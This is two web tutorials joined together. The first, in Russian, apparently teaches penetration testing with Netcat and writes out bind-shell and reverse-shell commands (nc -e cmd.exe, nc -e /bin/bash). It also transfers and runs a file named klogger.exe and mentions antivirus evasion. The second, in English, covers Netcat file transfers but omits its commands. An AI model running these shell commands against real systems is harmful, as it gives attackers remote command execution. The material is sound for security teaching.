- Что такое Netcat? Bind Shell и Reverse Shell в действии
- Netcat
- Подключение к порту TCP/UDP
- Прослушивание портов TCP/UDP
- Передача файлов с помощью Netcat
- Удаленное администрирование с помощью Netcat
- Сценарий Netcat Bind Shell
- Сценарий Reverse Shell
- Use Netcat to Transfer Files
- Installing Netcat:
- Sending a file using Netcat:
- Showing progress in file transfers:
- Compress and send a directory using Netcat:
- Transferring a whole disk or partition using Netcat:
- Conclusion:
- About the author
- David Adams
Что такое Netcat? Bind Shell и Reverse Shell в действии
В этой статье мы поговорим о том, что такое Netcat и с помощью него реализуем Bind и Reverse Shell соответственно.
Netcat
Netcat, впервые выпущенный в 1995 году (!), является одним из «оригинальных» инструментов тестирования на проникновение в сеть. Netcat настолько универсален, что вполне оправдывает авторское название «швейцарский армейский нож» хакера. Самое четкое определение Netcat дают сами разработчики: «простая утилита, которая считывает и записывает данные через сетевые соединения, используя протоколы TCP или UDP».
Подключение к порту TCP/UDP
Как следует из описания, Netcat может работать как в режиме клиента, так и в режиме сервера. Для начала давайте рассмотрим клиентский режим. Мы можем использовать клиентский режим для подключения к любому порту TCP/UDP, что позволяет нам: Проверить, открыт или закрыт порт или подключиться к сетевой службе.
Давайте начнем с использования Netcat (nc), чтобы проверить, открыт ли порт 80 на тестируемой машине (в качестве тестируемой машины мы будем использовать основную машину на которой установлена ВМ . ).
Мы введем несколько аргументов: опцию -n, чтобы отключить DNS и поиск номеров портов по /etc/services; -v для вывода информации о процессе работы; IP-адрес назначения; и номер порта назначения:
P.S. Чтобы узнать IP-адрес основной машины выполните команду ipconfig в командной строке если у вас основная машина Windows, и ifconfig если у вас Linux или MacOS.
kali@kali:~$ nc -nv 192.168.0.178 80
TCP-соединение с 192.168.0.178 прошло успешно, поэтому Netcat сообщает, что удаленный порт открыт.
Прослушивание портов TCP/UDP
Прослушивание порта TCP/UDP с помощью Netcat полезно для сетевой отладки клиентских приложений или получения сетевого соединения TCP/UDP. Давайте попробуем реализовать простую службу чата с участием двух машин, используя Netcat как в качестве клиента, так и в качестве сервера. На машине Windows с IP-адресом 192.168.0.178 был настроен Netcat на прослушивания входящих соединений на порту TCP 4444. Мы будем использовать опцию -n для отключения DNS, -l для для создания слушателя, опцию -v и -p для указания номера порта прослушивания:
C:\Program Files\nc111nt> nc -nlvp 4444
Теперь давайте подключимся к этому порту с нашей Linux-машины:
kali@kali:~$ nc -nv 192.168.0.178 4444
И напишем что-нибудь. Например «Hello». Наш текст будет отправлен на машину Windows через TCP-порт 4444:
Мы можем продолжить чат с машины Windows:
Хотя этот пример не очень интересен, но он демонстрирует несколько важных возможностей Netcat. Прежде чем продолжить, постарайтесь ответить на такие важные вопросы как: Какая машина выступала в качестве сервера Netcat? Какая машина выступала в роли клиента Netcat? На какой машине был открыт порт 4444? В чем разница в синтаксисе командной строки между клиентом и сервером?
Передача файлов с помощью Netcat
Netcat также можно использовать для передачи файлов, как текстовых, так и бинарных, с одного компьютера на другой. Чтобы отправить файл с нашей виртуальной машины Kali на систему Windows, мы инициируем настройку, похожую на предыдущий пример с чатом, с некоторыми небольшими отличиями. На машине Windows мы установим слушателя Netcat на порт 4444 и перенаправим вывод в файл под названием incoming.exe:
C:\Program Files\nc111nt> nc -nlvp 4444 > incoming.exe
В системе Kali мы передадим файл klogger.exe на машину Windows через TCP-порт 4444:
Обратите внимание, что мы не получили от Netcat никакой обратной связи о ходе загрузки файла. Мы можем просто подождать несколько секунд, а затем проверить, полностью ли загружен файл. Файл был полностью загружен на машину Windows, попытаемся запустить его:
C:\Program Files\nc111nt> incoming.exe -h
Как вы видите передача и запуск файла klogger.exe выполнены успешно! P.S. В одном из уроков я расскажу как сделать так, чтобы антивирус не «детектил» файлы и исполняемые модули. А пока двигаемся дальше.
Удаленное администрирование с помощью Netcat
Одной из самых полезных функций Netcat является возможность перенаправления команд. Версия netcat-traditional (версия Netcat скомпилированная с флагом «-DGAPING_SECURITY_HOLE») включает опцию -e, которая выполняет программу после установления или получения успешного соединения. Эта мощная функция открывала интересные возможности с точки зрения безопасности и поэтому недоступна в большинстве современных систем Linux/BSD. Однако, в связи с тем, что Kali Linux является дистрибутивом для тестирования на проникновение, версия Netcat, включенная в Kali, поддерживает опцию -e. Если эта опция включена, она может перенаправлять входные, выходные данные и сообщения об ошибках исполняемого файла на TCP/UDP порт, а не на консоль по умолчанию. Например, рассмотрим исполняемый файл cmd.exe. Мы можем привязать cmd.exe к локальному порту и перенаправить STDIN, STDOUT и STDERR в сеть. Давайте рассмотрим несколько сценариев:
Сценарий Netcat Bind Shell
В нашем первом сценарии Миша (работающий под управлением Windows) обратился за помощью к Кате (работающей под управлением Linux) и попросил ее подключиться к его компьютеру и отдать некоторые команды удаленно. Миша имеет публичный IP-адрес и напрямую подключен к Интернету. Катя, однако, находится за NAT и имеет внутренний IP-адрес. Мише нужно привязать cmd.exe к порту TCP на его публичном IP-адресе и попросить Катю подключиться к его определенному IP-адресу и порту. Миша запустит Netcat с параметром -e для выполнения cmd.exe:
C:\Program Files\nc111nt> nc -nlvp 4444 -e cmd.exe
Теперь Netcat привязал TCP порт 4444 к cmd.exe и будет перенаправлять любые входные, выходные данные или сообщения об ошибках от cmd.exe в сеть. Другими словами, любой человек, подключающийся к TCP порту 4444 на машине Миши (надеемся, что Катя), будет видеть командную строку Миши. Это действительно «зияющая дыра в безопасности»!
kali@kali:~$ nc -nv 192.168.0.178 4444
Как мы видим, все работает так, как и ожидалось. На следующем изображении показан этот сценарий:
Сценарий Reverse Shell
В нашем втором сценарии Катя нуждается в помощи Миши. В этом сценарии мы можем использовать еще одну полезную функцию Netcat — возможность посылать команды на хост, прослушивающий определенный порт. В этой ситуации, Катя не может (по сценарию) привязать порт 4444 для /bin/bash локально (bind shell) на своем компьютере и ожидать подключения Миши, но она может передать управление своим bash на компьютер Миши. Это называется reverse shell. Чтобы это заработало, Миша сначала настроит Netcat на прослушивание. В нашем примере мы будем использовать порт 4444:
C:\Program Files\nc111nt> nc -nlvp 4444
Теперь Катя может отправить Мише обратный shell (reverse shell) со своей Linux-машины. И снова мы используем опцию -e, чтобы сделать приложение доступным удаленно, которым в данном случае является /bin/bash, оболочка Linux:
kali@kali:~$ nc -nv 192.168.0.178 4444 -e /bin/bash
Как только соединение будет установлено, Netcat Кати перенаправит /bin/bash входные, выходные и данные об ошибках на машину Миши, на порт 4444, и Миша сможет взаимодействовать с этой оболочкой:
На следующем изображении показан сценарий обратного шелла (reverse shell), в котором Миша получает удаленный доступ к командной оболочке на машине Кати, преодолевая корпоративный брандмауэр:
Use Netcat to Transfer Files
This tutorial offers an easy explanation of how to use Netcat to transfer files between devices.
Netcat is a command-line network tool used to establish TCP/UDP connections and network analysis. Netcat features include:
- Outgoing and incoming connections, TCP or UDP, to or from any ports
- It can be used to open local ports
- Supports file transference between devices
- Netcat can be used to scan ports.
- Netcat can be used for banner grabbing
- Full DNS forward/reverse checking, with appropriate warnings
- Ability to use any locally configured network source address
- Built-in port-scanning capabilities, with randomization
- Built-in loose source-routing capability
- Slow-send mode, one line every N seconds
- Hex dump of transmitted and received data
- Optional ability to let another program service establish connections
- Optional telnet-options responder
Installing Netcat:
Before starting, I want to clarify that although I use the command “netcat” in this tutorial, you can also use the command “nc.”
To start, install Netcat by running the command shown below in Debian-based Linux distributions.
To install Netcat on Red Hat or Centos run:
You need to repeat the process in all devices you want to transfer data between. For this tutorial, I created a virtual machine with IP 192.168.1.102.
For this tutorial, I will also use the command pv that defaults in Linux distributions. This command is used to show the progress file transfer progress.
Sending a file using Netcat:
In this example, the device 192.168.1.102 will receive the file; another device will send it. From the receiving device, run the following command replacing linuxhint.deb with the name of the actual file you want to transfer. The -l (Listening for inbound connections) option instructs Netcat to listen for incoming connections on port 9899.
As you can see, Netcat stays listening on port 9899, waiting for the file. Now, from the sender device, run the command below, replacing the IP address with the IP of your receiver device and linuxhint.deb with the file name. The option -w is used to define the timeout in seconds.
As you can see below, the file linuxhint.deb was transferred to the current directory of the receiving side.
If you don’t have the file to send in the current directory, or the receiver doesn’t want to store it in the current directory, it is possible to define a path.
In the example below, the receiver will store the file linuxhint.deb into the directory linuxhint.
In the example below, the sender has the file he wants to send in the subdirectory linuxhint2:
As you can see, the file was successfully stored in the receiver’s linuxhint directory.
Showing progress in file transfers:
You also can implement the command pv to show the progress in file transfers. On the receiving side, add a pipe followed by the command pv used to monitor the progress of data through a pipe and the inbound file specification.
Then on the sender device, run the command explained in previous examples as shown below.
Pv output can be edited to change the file units; check the man page of this command to show the progress in other units than bytes.
Compress and send a directory using Netcat:
Using the commands below, you can compress and send a directory.
On the receiver device, type the command below, replacing linuxhint2 for the name of the compressed directory you want to receive from this device.
On the sender device, run the command below, replacing linuxhint2 with the name of the directory you want to compress and send. Also, replace the IP 192.168.1.102 with your receiver’s IP address.
As you can see, the file was received properly and extracted using the command below:
The directory linuxhint2 was extracted with its content.
Transferring a whole disk or partition using Netcat:
You can also transfer a whole disk or partition using Netcat with the commands shown below. In the example below, I will transfer an external disk partition to a receiving side partition.
On the receiving side, type the following command, replacing the port with the one you are using and the destination disk or partition with yours.
On the sending side, run the following command replacing the disk or partition (sdb1), your receiver IP address and port.
In my case, my drive device was full, but we can see the procedure finished.
If you mount the device where you stored the backup, you must see the data in the mount point.
Conclusion:
Files transference is one of the best Netcat features.
In the previous tutorial on Netcat for port scan, the conclusion wasn’t favorable for this program before alternatives like Nmap. Among Netcat’s general limitations, we see it doesn’t support scanning multiple ports. File transfers are not encrypted, and an attacker may launch a Man in the MIddle attack to intercept the data in a Netcat file transfer.
It is important to clarify transferring files over Netcat isn’t a safe choice if encryption measures aren’t implemented. Netcat doesn’t include encryption features, but it can be combined with PGP or alternatives approaching this issue like Cryptcat, which is very similar to Netcat with few differences: Cryptcat doesn’t support options -t for Telnet negotiation and does not support stdin timeout (-q). On the other side, Cryptcat adds new functionalities like encryption. Other secure alternatives include file transfers over the ssh protocol (scp).
I hope this tutorial was useful. Keep following Linux Hint for more Linux tips and tutorials.
About the author
David Adams
David Adams is a System Admin and writer that is focused on open source technologies, security software, and computer systems.